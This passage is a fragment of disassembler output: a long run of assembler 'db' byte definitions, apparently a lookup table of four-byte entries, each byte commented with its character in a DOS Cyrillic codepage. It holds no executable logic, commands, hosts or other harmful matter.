		db  5Fh	; _
		db 0D3h	; с
		db  1Eh	;  
		db 0CCh	; л
		db  61h	; a
		db  10h	;  
		db    2	;  
		db 0CCh	; л
		db  61h	; a
		db 0D4h	; т
		db  0Ah	;  
		db 0CCh	; л
		db  61h	; a
		db 0E3h	; Ц
		db    2	;  
		db 0CCh	; л
		db  61h	; a
		db 0E3h	; Ц
		db    3	;  
		db 0CCh	; л
		db  61h	; a
		db 0E3h	; Ц
		db    6	;  
		db 0CCh	; л
		db  61h	; a
		db  5Ch	; \
		db    2	;  
		db 0CCh	; л
		db  61h	; a
		db  5Ch	; \
		db    3	;  
		db 0CDh	; м
		db  7Ch	; |
		db 0FCh	; Э
		db    2	;  
		db 0CDh	; м
		db  7Ch	; |
		db 0FEh	; Ч
		db    2	;  
		db 0CDh	; м
		db  83h	; ┐
		db  10h	;  
		db    2	;  
		db 0CDh	; м
		db  83h	; ┐
		db 0B1h	; ╠
		db    3	;  
		db 0CDh	; м
		db  83h	; ┐
		db 0BCh	; ╪
		db    3	;  
		db 0CDh	; м
		db  83h	; ┐
		db 0BCh	; ╪
		db    6	;  
		db 0CDh	; м
		db  85h	; ┘
		db  95h	; ∙
		db  11h	;  
		db 0CDh	; м
		db  88h	; ┬
		db  26h	; &
		db    2	;  
		db 0CDh	; м
		db  89h	; ┴
		db  30h	; 0
		db    5	;  
		db 0CDh	; м
		db  89h	; ┴
		db  30h	; 0
		db    7	;  
		db 0CDh	; м
		db  8Ah	; ┼
		db  6Eh	; n
		db 0C8h	; х
		db 0CDh	; м
		db  8Ah	; ┼
		db  6Eh	; n
		db 0C9h	; и
		db 0CDh	; м
		db  8Ah	; ┼
		db  6Eh	; n
		db 0CAh	; й
		db 0CDh	; м
		db  8Ah	; ┼
		db  76h	; v
		db 0C1h	; а
		db 0CDh	; м
		db  8Ah	; ┼
		db 0DBh	; ш
		db    2	;  
		db 0CDh	; м
		db  8Ah	; ┼
		db 0E6h	; Ф
		db  42h	; B
		db 0CDh	; м
		db  8Bh	; ▀
		db  1Dh	;  
		db    8	;  
		db 0CDh	; м
		db  8Bh	; ▀
		db    4	;  
		db    1	;  
		db 0CDh	; м
		db  8Bh	; ▀
		db    4	;  
		db  0Fh	;  
		db 0CDh	; м
		db  8Ch	; ▄
		db  93h	; ⌠
		db    1	;  
		db 0CDh	; м
		db  8Dh	; █
		db  81h	; │
		db  32h	; 2
		db 0CDh	; м
		db  92h	; ▓
		db  60h	; `
		db    8	;  
		db 0CDh	; м
		db  92h	; ▓
		db  60h	; `
		db    9	;  
		db 0CDh	; м
		db  96h	; √
		db  2Ah	; *
		db  22h	; "
		db 0CDh	; м
		db  96h	; √
		db  2Ah	; *
		db  23h	; #
		db 0CDh	; м
		db  97h	; ≈
		db  10h	;  
		db    2	;  
		db 0CDh	; м
		db  97h	; ≈
		db  10h	;  
		db    3	;  
		db 0CDh	; м
		db  97h	; ≈
		db 0CDh	; м
		db  97h	; ≈
		db 0CDh	; м
		db  97h	; ≈
		db 0DEh	; ч
		db  82h	; ┌
		db 0CDh	; м
		db  97h	; ≈
		db 0DEh	; ч
		db  83h	; ┐
		db 0CDh	; м
		db  97h	; ≈
		db 0DEh	; ч
		db 0FAh	; З
		db 0CDh	; м
		db  97h	; ≈
		db 0DEh	; ч
		db 0FBh	; Ш
		db 0CDh	; м
		db  98h	; ≤
		db    0	;  
		db  14h	;  
		db 0CDh	; м
		db  98h	; ≤
		db    0	;  
		db    5	;  
		db 0CDh	; м
		db  98h	; ≤
		db    0	;  
		db  3Ah	; :
		db 0CDh	; м
		db  98h	; ≤
		db    0	;  
		db    8	;  
		db 0CDh	; м
		db  98h	; ≤
		db  90h	; ░
		db 0BCh	; ╪
		db 0CDh	; м
		db  98h	; ≤
		db  90h	; ░
		db 0FCh	; Э
		db 0CDh	; м
		db  98h	; ≤
		db  10h	;  
		db  14h	;  
		db 0CDh	; м
		db  98h	; ≤
		db  10h	;  
		db    8	;  
		db 0CDh	; м
		db  98h	; ≤
		db 0F4h	; Т
		db 0BCh	; ╪
		db 0CDh	; м
		db  98h	; ≤
		db 0F4h	; Т
		db 0FCh	; Э
		db 0CDh	; м
		db  98h	; ≤
		db  20h	;  
		db  14h	;  
		db 0CDh	; м
		db  98h	; ≤
		db  20h	;  
		db    8	;  
		db 0CDh	; м
		db  9Eh	; ·
		db  10h	;  
		db    5	;  
		db 0CDh	; м
		db  9Eh	; ·
		db  30h	; 0
		db  82h	; ┌
		db 0CDh	; м
		db  9Fh	; ÷
		db 0A9h	; ╘
		db  83h	; ┐
		db 0CDh	; м
		db  9Fh	; ÷
		db 0A9h	; ╘
		db    7	;  
		db 0CDh	; м
		db  9Fh	; ÷
		db 0AEh	; ў
		db  11h	;  
		db 0CDh	; м
		db 0A0h	; ═
		db 0BCh	; ╪
		db    2	;  
		db 0CDh	; м
		db 0A0h	; ═
		db 0BFh	; ©
		db    2	;  
		db 0CDh	; м
		db 0A0h	; ═
		db 0EAh	; Й
		db    1	;  
		db 0CDh	; м
		db 0A0h	; ═
		db 0EAh	; Й
		db  0Ah	;  
		db 0CDh	; м
		db 0A0h	; ═
		db 0F8h	; Ь
		db    2	;  
		db 0CDh	; м
		db 0A0h	; ═
		db  57h	; W
		db    2	;  
		db 0CDh	; м
		db 0A1h	; ║
		db  72h	; r
		db  62h	; b
		db 0CDh	; м
		db 0A1h	; ║
		db  74h	; t
		db    2	;  
		db 0CDh	; м
		db 0A1h	; ║
		db  78h	; x
		db    4	;  
		db 0CDh	; м
		db 0A1h	; ║
		db  78h	; x
		db    5	;  
		db 0CDh	; м
		db 0A1h	; ║
		db 0AEh	; ў
		db    2	;  
		db 0CDh	; м
		db 0A1h	; ║
		db 0B8h	; ╦
		db 0E2h	; Б
		db 0CDh	; м
		db 0A1h	; ║
		db 0BCh	; ╪
		db    2	;  
		db 0CDh	; м
		db 0A1h	; ║
		db 0C8h	; х
		db    2	;  
		db 0CDh	; м
		db 0A1h	; ║
		db 0C8h	; х
		db    3	;  
		db 0CDh	; м
		db 0A1h	; ║
		db 0D8h	; ь
		db    2	;  
		db 0CDh	; м
		db 0A1h	; ║
		db 0D8h	; ь
		db    4	;  
		db 0CDh	; м
		db 0A2h	; ╒
		db 0B8h	; ╦
		db    2	;  
		db 0CDh	; м
		db 0A2h	; ╒
		db 0BEh	; Ў
		db    4	;  
		db 0CDh	; м
		db 0A6h	; і
		db 0E2h	; Б
		db  26h	; &
		db 0CDh	; м
		db 0A6h	; і
		db  3Dh	; =
		db  82h	; ┌
		db 0CDh	; м
		db 0A6h	; і
		db  3Dh	; =
		db  8Ch	; ▄
		db 0CDh	; м
		db 0A7h	; ї
		db  5Ch	; \
		db    3	;  
		db 0CDh	; м
		db 0A7h	; ї
		db  5Ch	; \
		db    7	;  
		db 0CDh	; м
		db 0ABh	; ╚
		db  0Eh	;  
		db 0C3h	; ц
		db 0CDh	; м
		db 0ABh	; ╚
		db  10h	;  
		db 0FAh	; З
		db 0CDh	; м
		db 0ABh	; ╚
		db    7	;  
		db    9	;  
		db 0CDh	; м
		db 0ABh	; ╚
		db  48h	; H
		db  14h	;  
		db 0CDh	; м
		db 0ABh	; ╚
		db  48h	; H
		db  15h	;  
		db 0CDh	; м
		db 0ABh	; ╚
		db    9	;  
		db 0F1h	; Я
		db 0CDh	; м
		db 0ABh	; ╚
		db    9	;  
		db 0F2h	; Р
		db 0CDh	; м
		db 0ADh	; ґ
		db 0B0h	; ╟
		db  0Ah	;  
		db 0CDh	; м
		db 0ADh	; ґ
		db 0E6h	; Ф
		db    2	;  
		db 0CDh	; м
		db 0ADh	; ґ
		db 0F8h	; Ь
		db  20h	;  
		db 0CDh	; м
		db 0ADh	; ґ
		db  3Ah	; :
		db    2	;  
		db 0CDh	; м
		db 0AFh	; ╞
		db 0DCh	; э
		db    3	;  
		db 0CDh	; м
		db 0AFh	; ╞
		db 0E1h	; А
		db    1	;  
		db 0CDh	; м
		db 0B0h	; ╟
		db  84h	; └
		db  64h	; d
		db 0CDh	; м
		db 0B1h	; ╠
		db  0Ah	;  
		db  0Ah	;  
		db 0CDh	; м
		db 0B1h	; ╠
		db  76h	; v
		db  46h	; F
		db 0CDh	; м
		db 0B1h	; ╠
		db  26h	; &
		db    2	;  
		db 0CDh	; м
		db 0B2h	; ╡
		db  70h	; p
		db    2	;  
		db 0CDh	; м
		db 0B2h	; ╡
		db  70h	; p
		db    3	;  
		db 0CDh	; м
		db 0B5h	; ╣
		db  65h	; e
		db  0Ah	;  
		db 0CDh	; м
		db 0B5h	; ╣
		db  65h	; e
		db  0Bh	;  
		db 0CDh	; м
		db 0B5h	; ╣
		db 0C7h	; г
		db 0A6h	; і
		db 0CDh	; м
		db 0B5h	; ╣
		db 0F2h	; Р
		db  0Ah	;  
		db 0CDh	; м
		db 0B5h	; ╣
		db    5	;  
		db  7Eh	; ~
		db 0CDh	; м
		db 0B5h	; ╣
		db    5	;  
		db  81h	; │
		db 0CDh	; м
		db 0B5h	; ╣
		db  48h	; H
		db  0Ah	;  
		db 0CDh	; м
		db 0B5h	; ╣
		db  4Ch	; L
		db  13h	;  
		db 0CDh	; м
		db 0B5h	; ╣
		db  4Eh	; N
		db 0FDh	; Щ
		db 0CDh	; м
		db 0B6h	; І
		db  6Bh	; k
		db  0Ah	;  
		db 0CDh	; м
		db 0B7h	; Ї
		db  1Fh	;  
		db  7Dh	; }
		db 0CDh	; м
		db 0BCh	; ╪
		db  9Dh	; ²
		db 0E8h	; Х
		db 0CDh	; м
		db 0BCh	; ╪
		db  9Dh	; ²
		db 0E9h	; И
		db 0CDh	; м
		db 0BCh	; ╪
		db  9Dh	; ²
		db 0ECh	; Л
		db 0CDh	; м
		db 0BDh	; Ґ
		db 0F0h	; П
		db    3	;  
		db 0CDh	; м
		db 0BFh	; ©
		db 0C2h	; б
		db  0Ah	;  
		db 0CDh	; м
		db 0BFh	; ©
		db 0C2h	; б
		db    9	;  
		db 0CDh	; м
		db 0C7h	; г
		db 0C1h	; а
		db    2	;  
		db 0CDh	; м
		db 0C7h	; г
		db 0DCh	; э
		db    1	;  
		db 0CDh	; м
		db 0C8h	; х
		db  10h	;  
		db  41h	; A
		db 0CDh	; м
		db 0C8h	; х
		db  10h	;  
		db  45h	; E
		db 0CDh	; м
		db 0C9h	; и
		db    1	;  
		db  14h	;  
		db 0CDh	; м
		db 0CBh	; к
		db 0E4h	; Д
		db  0Ah	;  
		db 0CDh	; м
		db 0CBh	; к
		db 0E5h	; Е
		db  0Ah	;  
		db 0CDh	; м
		db 0CBh	; к
		db  41h	; A
		db 0E5h	; Е
		db 0CDh	; м
		db 0CBh	; к
		db  41h	; A
		db 0E6h	; Ф
		db 0CDh	; м
		db 0CFh	; о
		db  96h	; √
		db 0F0h	; П
		db 0CDh	; м
		db 0CFh	; о
		db  5Ah	; Z
		db    9	;  
		db 0CDh	; м
		db 0D2h	; р
		db 0E8h	; Х
		db  82h	; ┌
		db 0CDh	; м
		db 0D3h	; с
		db  28h	; (
		db    1	;  
		db 0CDh	; м
		db 0D5h	; у
		db  6Ch	; l
		db  64h	; d
		db 0CDh	; м
		db 0D5h	; у
		db 0A3h	; ё
		db  64h	; d
		db 0CDh	; м
		db 0D6h	; ж
		db  2Ah	; *
		db  42h	; B
		db 0CDh	; м
		db 0D6h	; ж
		db  2Dh	; -
		db  0Ah	;  
		db 0CDh	; м
		db 0D6h	; ж
		db  2Dh	; -
		db    6	;  
		db 0CDh	; м
		db 0D6h	; ж
		db  33h	; 3
		db  10h	;  
		db 0CDh	; м
		db 0D7h	; в
		db    5	;  
		db  42h	; B
		db 0CDh	; м
		db 0D8h	; ь
		db  36h	; 6
		db    5	;  
		db 0CDh	; м
		db 0D8h	; ь
		db  50h	; P
		db    1	;  
		db 0CDh	; м
		db 0D8h	; ь
		db  50h	; P
		db    2	;  
		db 0CDh	; м
		db 0D8h	; ь
		db  52h	; R
		db    1	;  
		db 0CDh	; м
		db 0D9h	; ы
		db  63h	; c
		db    1	;  
		db 0CDh	; м
		db 0D9h	; ы
		db  63h	; c
		db    2	;  
		db 0CDh	; м
		db 0DAh	; з
		db  7Bh	; {
		db  32h	; 2
		db 0CDh	; м
		db 0DBh	; ш
		db 0BAh	; ╨
		db    1	;  
		db 0CDh	; м
		db 0DBh	; ш
		db 0C6h	; ф
		db  22h	; "
		db 0CDh	; м
		db 0DBh	; ш
		db  54h	; T
		db    5	;  
		db 0CDh	; м
		db 0DBh	; ш
		db  54h	; T
		db    7	;  
		db 0CDh	; м
		db 0DDh	; щ
		db  80h	; ─
		db 0FEh	; Ч
		db 0CDh	; м
		db 0DDh	; щ
		db  92h	; ▓
		db 0E7h	; Г
		db 0CDh	; м
		db 0DDh	; щ
		db  0Fh	;  
		db  0Ah	;  
		db 0CDh	; м
		db 0DDh	; щ
		db  96h	; √
		db    9	;  
		db 0CDh	; м
		db 0DDh	; щ
		db  9Eh	; ·
		db    1	;  
		db 0CDh	; м
		db 0DDh	; щ
		db 0A5h	; ╔
		db    1	;  
		db 0CDh	; м
		db 0DDh	; щ
		db 0DEh	; ч
		db    1	;  
		db 0CDh	; м
		db 0DDh	; щ
		db 0E2h	; Б
		db    1	;  
		db 0CDh	; м
		db 0DDh	; щ
		db  1Eh	;  
		db 0BAh	; ╨
		db 0CDh	; м
		db 0DDh	; щ
		db  1Eh	;  
		db 0BBh	; ╩
		db 0CDh	; м
		db 0DDh	; щ
		db  28h	; (
		db    1	;  
		db 0CDh	; м
		db 0DDh	; щ
		db  38h	; 8
		db  46h	; F
		db 0CDh	; м
		db 0DDh	; щ
		db  4Ah	; J
		db    1	;  
		db 0CDh	; м
		db 0DDh	; щ
		db  5Ah	; Z
		db 0D1h	; я
		db 0CDh	; м
		db 0DDh	; щ
		db  5Ch	; \
		db    1	;  
		db 0CDh	; м
		db 0DDh	; щ
		db  60h	; `
		db  0Fh	;  
		db 0CDh	; м
		db 0DEh	; ч
		db    5	;  
		db  41h	; A
		db 0CDh	; м
		db 0DEh	; ч
		db    5	;  
		db  43h	; C
		db 0CDh	; м
		db 0E1h	; А
		db  82h	; ┌
		db 0D1h	; я
		db 0CDh	; м
		db 0E3h	; Ц
		db 0BAh	; ╨
		db  42h	; B
		db 0CDh	; м
		db 0E3h	; Ц
		db  2Bh	; +
		db  34h	; 4
		db 0CDh	; м
		db 0E4h	; Д
		db  0Ch	;  
		db  47h	; G
		db 0CDh	; м
		db 0E4h	; Д
		db  0Ch	;  
		db  48h	; H
		db 0CDh	; м
		db 0E6h	; Ф
		db  8Ch	; ▄
		db  0Ah	;  
		db 0CDh	; м
		db 0E6h	; Ф
		db  8Ch	; ▄
		db  0Ch	;  
		db 0CDh	; м
		db 0E7h	; Г
		db  6Bh	; k
		db    4	;  
		db 0CDh	; м
		db 0E7h	; Г
		db 0A0h	; ═
		db  64h	; d
		db 0CDh	; м
		db 0E7h	; Г
		db 0A0h	; ═
		db  65h	; e
		db 0CDh	; м
		db 0E7h	; Г
		db 0ECh	; Л
		db    1	;  
		db 0CDh	; м
		db 0E9h	; И
		db  6Dh	; m
		db  27h	; '
		db 0CDh	; м
		db 0E9h	; И
		db  6Dh	; m
		db  28h	; (
		db 0CDh	; м
		db 0ECh	; Л
		db 0B6h	; І
		db  1Eh	;  
		db 0CDh	; м
		db 0ECh	; Л
		db 0BEh	; Ў
		db    1	;  
		db 0CDh	; м
		db 0EEh	; Н
		db  80h	; ─
		db  27h	; '
		db 0CDh	; м
		db 0EEh	; Н
		db  80h	; ─
		db  2Ah	; *
		db 0CDh	; м
		db 0F2h	; Р
		db 0BBh	; ╩
		db 0EAh	; Й
		db 0CDh	; м
		db 0F2h	; Р
		db 0BBh	; ╩
		db 0EBh	; К
		db 0CDh	; м
		db 0F2h	; Р
		db 0F6h	; Ж
		db  0Ah	;  
		db 0CDh	; м
		db 0F2h	; Р
		db  5Ah	; Z
		db    2	;  
		db 0CDh	; м
		db 0F3h	; С
		db 0DCh	; э
		db  65h	; e
		db 0CDh	; м
		db 0F4h	; Т
		db  9Ah	;  
		db    1	;  
		db 0CDh	; м
		db 0F4h	; Т
		db  9Ah	;  
		db    3	;  
		db 0CDh	; м
		db 0F4h	; Т
		db 0BCh	; ╪
		db  0Ah	;  
		db 0CDh	; м
		db 0F4h	; Т
		db 0C8h	; х
		db    3	;  
		db 0CDh	; м
		db 0F6h	; Ж
		db  12h	;  
		db    2	;  
		db 0CDh	; м
		db 0F6h	; Ж
		db  12h	;  
		db  1Eh	;  
		db 0CDh	; м
		db 0F6h	; Ж
		db  13h	;  
		db  0Ch	;  
		db 0CDh	; м
		db 0F6h	; Ж
		db  13h	;  
		db  25h	; %
		db 0CDh	; м
		db 0F7h	; В
		db  78h	; x
		db    1	;  
		db 0CDh	; м
		db 0FAh	; З
		db    5	;  
		db  64h	; d
		db 0CDh	; м
		db 0FAh	; З
		db    5	;  
		db 0FBh	; Ш
		db 0CDh	; м
		db 0FCh	; Э
		db  82h	; ┌
		db 0DCh	; э
		db 0CDh	; м
		db 0FCh	; Э
		db  90h	; ░
		db 0E4h	; Д
		db 0CDh	; м
		db  44h	; D
		db  5Ah	; Z
		db    6	;  
		db 0CDh	; м
		db  44h	; D
		db  5Fh	; _
		db  41h	; A
		db 0CEh	; н
		db    1	;  
		db  64h	; d
		db    5	;  
		db 0CEh	; н
		db    1	;  
		db 0A6h	; і
		db  0Ch	;  
		db 0CEh	; н
		db    1	;  
		db  1Bh	;  
		db    4	;  
		db 0CEh	; н
		db  0Ah	;  
		db  36h	; 6
		db    2	;  
		db 0CEh	; н
		db  64h	; d
		db  0Ah	;  
		db    2	;  
		db 0CEh	; н
		db  64h	; d
		db  24h	; $
		db    2	;  
		db 0CEh	; н
		db  64h	; d
		db  5Ch	; \
		db    1	;  
		db 0CEh	; н
		db  65h	; e
		db  68h	; h
		db  42h	; B
		db 0CEh	; н
		db  65h	; e
		db  71h	; q
		db    2	;  
		db 0CEh	; н
		db  65h	; e
		db  71h	; q
		db    6	;  
		db 0CEh	; н
		db  65h	; e
		db  76h	; v
		db    1	;  
		db 0CEh	; н
		db  65h	; e
		db  79h	; y
		db  4Ah	; J
		db 0CEh	; н
		db  65h	; e
		db 0A9h	; ╘
		db    2	;  
		db 0CEh	; н
		db  65h	; e
		db 0CCh	; л
		db    1	;  
		db 0CEh	; н
		db  65h	; e
		db 0CEh	; н
		db    5	;  
		db 0CEh	; н
		db  65h	; e
		db 0CEh	; н
		db  5Ah	; Z
		db 0CEh	; н
		db  65h	; e
		db 0E8h	; Х
		db    3	;  
		db 0CEh	; н
		db  65h	; e
		db 0E8h	; Х
		db    4	;  
		db 0CEh	; н
		db  65h	; e
		db 0F2h	; Р
		db  32h	; 2
		db 0CEh	; н
		db  65h	; e
		db 0F2h	; Р
		db  3Ch	; <
		db 0CEh	; н
		db  65h	; e
		db  29h	; )
		db  21h	; !
		db 0CEh	; н
		db  65h	; e
		db  4Eh	; N
		db    2	;  
		db 0CEh	; н
		db  65h	; e
		db  5Ah	; Z
		db 0E6h	; Ф
		db 0CEh	; н
		db  65h	; e
		db  5Ah	; Z
		db 0EFh	; О
		db 0CEh	; н
		db  66h	; f
		db  7Fh	; 
		db  0Eh	;  
		db 0CEh	; н
		db  66h	; f
		db  7Fh	; 
		db  10h	;  
		db 0CEh	; н
		db  66h	; f
		db  80h	; ─
		db    2	;  
		db 0CEh	; н
		db  66h	; f
		db  80h	; ─
		db    3	;  
		db 0CEh	; н
		db  66h	; f
		db  82h	; ┌
		db  0Ch	;  
		db 0CEh	; н
		db  66h	; f
		db  82h	; ┌
		db  0Dh	;  
		db 0CEh	; н
		db  66h	; f
		db  9Ch	; °
		db    1	;  
		db 0CEh	; н
		db  67h	; g
		db  70h	; p
		db    6	;  
		db 0CEh	; н
		db  67h	; g
		db  70h	; p
		db    7	;  
		db 0CEh	; н
		db  69h	; i
		db 0C9h	; и
		db  23h	; #
		db 0CEh	; н
		db  69h	; i
		db 0CBh	; к
		db  14h	;  
		db 0CEh	; н
		db  69h	; i
		db 0CBh	; к
		db  1Fh	;  
		db 0CEh	; н
		db  6Bh	; k
		db 0B2h	; ╡
		db    2	;  
		db 0CEh	; н
		db  6Dh	; m
		db    1	;  
		db    1	;  
		db 0CEh	; н
		db  6Dh	; m
		db    7	;  
		db  41h	; A
		db 0CEh	; н
		db  0Bh	;  
		db  95h	; ∙
		db  5Eh	; ^
		db 0CEh	; н
		db  0Bh	;  
		db 0A0h	; ═
		db  2Ah	; *
		db 0CEh	; н
		db  0Bh	;  
		db 0A0h	; ═
		db    5	;  
		db 0CEh	; н
		db  0Bh	;  
		db  28h	; (
		db    1	;  
		db 0CEh	; н
		db  6Eh	; n
		db    1	;  
		db  22h	; "
		db 0CEh	; н
		db  6Eh	; n
		db    1	;  
		db  25h	; %
		db 0CEh	; н
		db  6Fh	; o
		db  12h	;  
		db  0Bh	;  
		db 0CEh	; н
		db  6Fh	; o
		db  15h	;  
		db    3	;  
		db 0CEh	; н
		db  6Fh	; o
		db  15h	;  
		db    4	;  
		db 0CEh	; н
		db  6Fh	; o
		db 0F8h	; Ь
		db  12h	;  
		db 0CEh	; н
		db  6Fh	; o
		db 0F8h	; Ь
		db  13h	;  
		db 0CEh	; н
		db  6Fh	; o
		db    4	;  
		db    5	;  
		db 0CEh	; н
		db  70h	; p
		db    1	;  
		db    1	;  
		db 0CEh	; н
		db  70h	; p
		db    1	;  
		db    2	;  
		db 0CEh	; н
		db  70h	; p
		db 0C0h	; ю
		db  68h	; h
		db 0CEh	; н
		db  70h	; p
		db  4Bh	; K
		db 0CAh	; й
		db 0CEh	; н
		db  75h	; u
		db  78h	; x
		db  22h	; "
		db 0CEh	; н
		db  75h	; u
		db 0B2h	; ╡
		db  14h	;  
		db 0CEh	; н
		db  75h	; u
		db 0B2h	; ╡
		db  15h	;  
		db 0CEh	; н
		db  75h	; u
		db  55h	; U
		db    2	;  
		db 0CEh	; н
		db  0Ch	;  
		db  88h	; ┬
		db 0A0h	; ═
		db 0CEh	; н
		db  0Ch	;  
		db 0AFh	; ╞
		db  99h	; ≥
		db 0CEh	; н
		db  0Ch	;  
		db  1Fh	;  
		db    2	;  
		db 0CEh	; н
		db  79h	; y
		db  40h	; @
		db  0Ah	;  
		db 0CEh	; н
		db  79h	; y
		db  40h	; @
		db    2	;  
		db 0CEh	; н
		db  7Bh	; {
		db  26h	; &
		db  64h	; d
		db 0CEh	; н
		db  7Bh	; {
		db  26h	; &
		db  42h	; B
		db 0CEh	; н
		db  7Bh	; {
		db    6	;  
		db  0Ah	;  
		db 0CEh	; н
		db  7Bh	; {
		db    6	;  
		db  0Bh	;  
		db 0CEh	; н
		db  7Ch	; |
		db    0	;  
		db  21h	; !
		db 0CEh	; н
		db  7Ch	; |
		db 0E0h	; Ю
		db    2	;  
		db 0CEh	; н
		db  7Ch	; |
		db 0E2h	; Б
		db    2	;  
		db 0CEh	; н
		db  7Ch	; |
		db  40h	; @
		db    1	;  
		db 0CEh	; н
		db  7Eh	; ~
		db 0A8h	; ╗
		db  0Ah	;  
		db 0CEh	; н
		db  7Eh	; ~
		db  20h	;  
		db  65h	; e
		db 0CEh	; н
		db  7Eh	; ~
		db  20h	;  
		db 0C8h	; х
		db 0CEh	; н
		db  7Fh	; 
		db  20h	;  
		db  21h	; !
		db 0CEh	; н
		db  7Fh	; 
		db  20h	;  
		db  22h	; "
		db 0CEh	; н
		db  7Fh	; 
		db  40h	; @
		db  82h	; ┌
		db 0CEh	; н
		db  7Fh	; 
		db  40h	; @
		db  83h	; ┐
		db 0CEh	; н
		db  80h	; ─
		db 0C0h	; ю
		db 0D2h	; р
		db 0CEh	; н
		db  80h	; ─
		db 0C0h	; ю
		db 0D4h	; т
		db 0CEh	; н
		db  80h	; ─
		db 0C0h	; ю
		db 0D6h	; ж
		db 0CEh	; н
		db  0Dh	;  
		db  1Ch	;  
		db  0Bh	;  
		db 0CEh	; н
		db  0Dh	;  
		db  1Dh	;  
		db  0Bh	;  
		db 0CEh	; н
		db  0Dh	;  
		db  2Ch	; ,
		db    2	;  
		db 0CEh	; н
		db  83h	; ┐
		db 0D1h	; я
		db  0Ah	;  
		db 0CEh	; н
		db  83h	; ┐
		db 0E5h	; Е
		db    9	;  
		db 0CEh	; н
		db  83h	; ┐
		db 0E6h	; Ф
		db    9	;  
		db 0CEh	; н
		db  83h	; ┐
		db 0EDh	; М
		db    6	;  
		db 0CEh	; н
		db  83h	; ┐
		db 0EDh	; М
		db    9	;  
		db 0CEh	; н
		db  84h	; └
		db  5Eh	; ^
		db  82h	; ┌
		db 0CEh	; н
		db  86h	; ├
		db  97h	; ≈
		db  2Dh	; -
		db 0CEh	; н
		db  8Ah	; ┼
		db  69h	; i
		db  25h	; %
		db 0CEh	; н
		db  8Ah	; ┼
		db  69h	; i
		db  26h	; &
		db 0CEh	; н
		db  8Ah	; ┼
		db  69h	; i
		db  32h	; 2
		db 0CEh	; н
		db  8Ah	; ┼
		db  69h	; i
		db  33h	; 3
		db 0CEh	; н
		db  8Ah	; ┼
		db 0E0h	; Ю
		db  96h	; √
		db 0CEh	; н
		db  8Bh	; ▀
		db 0CAh	; й
		db  33h	; 3
		db 0CEh	; н
		db  8Dh	; █
		db 0FBh	; Ш
		db    2	;  
		db 0CEh	; н
		db  91h	; ▒
		db  30h	; 0
		db    1	;  
		db 0CEh	; н
		db  91h	; ▒
		db  30h	; 0
		db  32h	; 2
		db 0CEh	; н
		db  96h	; √
		db 0A2h	; ╒
		db    2	;  
		db 0CEh	; н
		db  96h	; √
		db 0C3h	; ц
		db    6	;  
		db 0CEh	; н
		db  97h	; ≈
		db  70h	; p
		db  43h	; C
		db 0CEh	; н
		db  97h	; ≈
		db  86h	; ├
		db 0C8h	; х
		db 0CEh	; н
		db  97h	; ≈
		db  98h	; ≤
		db  0Ah	;  
		db 0CEh	; н
		db  97h	; ≈
		db  98h	; ≤
		db    9	;  
		db 0CEh	; н
		db  97h	; ≈
		db  9Ah	;  
		db    1	;  
		db 0CEh	; н
		db  97h	; ≈
		db  10h	;  
		db  0Bh	;  
		db 0CEh	; н
		db  97h	; ≈
		db  10h	;  
		db    2	;  
		db 0CEh	; н
		db  97h	; ≈
		db 0ACh	; ╛
		db  0Bh	;  
		db 0CEh	; н
		db  97h	; ≈
		db 0E3h	; Ц
		db    5	;  
		db 0CEh	; н
		db  97h	; ≈
		db 0FAh	; З
		db 0FDh	; Щ
		db 0CEh	; н
		db  97h	; ≈
		db 0FEh	; Ч
		db    2	;  
		db 0CEh	; н
		db  97h	; ≈
		db  26h	; &
		db  14h	;  
		db 0CEh	; н
		db  97h	; ≈
		db    4	;  
		db    1	;  
		db 0CEh	; н
		db  97h	; ≈
		db  44h	; D
		db    7	;  
		db 0CEh	; н
		db  98h	; ≤
		db  6Eh	; n
		db    1	;  
		db 0CEh	; н
		db  98h	; ≤
		db  70h	; p
		db    1	;  
		db 0CEh	; н
		db  98h	; ≤
		db 0B6h	; І
		db    1	;  
		db 0CEh	; н
		db  98h	; ≤
		db 0B6h	; І
		db    2	;  
		db 0CEh	; н
		db  98h	; ≤
		db 0F1h	; Я
		db    2	;  
		db 0CEh	; н
		db  98h	; ≤
		db 0F2h	; Р
		db    1	;  
		db 0CEh	; н
		db  98h	; ≤
		db 0FCh	; Э
		db    2	;  
		db 0CEh	; н
		db  99h	; ≥
		db  46h	; F
		db 0FDh	; Щ
		db 0CEh	; н
		db  99h	; ≥
		db    8	;  
		db    5	;  
		db 0CEh	; н
		db  99h	; ≥
		db    8	;  
		db    8	;  
		db 0CEh	; н
		db  9Ch	; °
		db 0E1h	; А
		db  20h	;  
		db 0CEh	; н
		db  9Ch	; °
		db 0E6h	; Ф
		db    1	;  
		db 0CEh	; н
		db  9Ch	; °
		db 0E6h	; Ф
		db    2	;  
		db 0CEh	; н
		db  9Ch	; °
		db    4	;  
		db    8	;  
		db 0CEh	; н
		db  9Dh	; ²
		db  93h	; ⌠
		db 0C8h	; х
		db 0CEh	; н
		db  9Dh	; ²
		db  93h	; ⌠
		db 0CCh	; л
		db 0CEh	; н
		db  9Eh	; ·
		db  7Ch	; |
		db  0Eh	;  
		db 0CEh	; н
		db  9Eh	; ·
		db  7Ch	; |
		db    2	;  
		db 0CEh	; н
		db  9Eh	; ·
		db  0Fh	;  
		db    2	;  
		db 0CEh	; н
		db 0A1h	; ║
		db  80h	; ─
		db  89h	; ┴
		db 0CEh	; н
		db 0A1h	; ║
		db  84h	; └
		db  42h	; B
		db 0CEh	; н
		db 0A1h	; ║
		db  8Bh	; ▀
		db  15h	;  
		db 0CEh	; н
		db 0A1h	; ║
		db 0EFh	; О
		db  35h	; 5
		db 0CEh	; н
		db 0A1h	; ║
		db  3Bh	; ;
		db    2	;  
		db 0CEh	; н
		db 0A1h	; ║
		db  3Eh	; >
		db    9	;  
		db 0CEh	; н
		db 0A1h	; ║
		db  3Fh	; ?
		db    2	;  
		db 0CEh	; н
		db 0A3h	; ё
		db  32h	; 2
		db    3	;  
		db 0CEh	; н
		db 0A5h	; ╔
		db 0A6h	; і
		db    2	;  
		db 0CEh	; н
		db 0A5h	; ╔
		db 0A6h	; і
		db    4	;  
		db 0CEh	; н
		db 0A5h	; ╔
		db    6	;  
		db  0Ah	;  
		db 0CEh	; н
		db 0A6h	; і
		db  64h	; d
		db  64h	; d
		db 0CEh	; н
		db 0A6h	; і
		db  69h	; i
		db  64h	; d
		db 0CEh	; н
		db 0A6h	; і
		db  11h	;  
		db 0C8h	; х
		db 0CEh	; н
		db 0A6h	; і
		db 0C5h	; е
		db    2	;  
		db 0CEh	; н
		db 0A6h	; і
		db 0F9h	; Ы
		db    1	;  
		db 0CEh	; н
		db 0A6h	; і
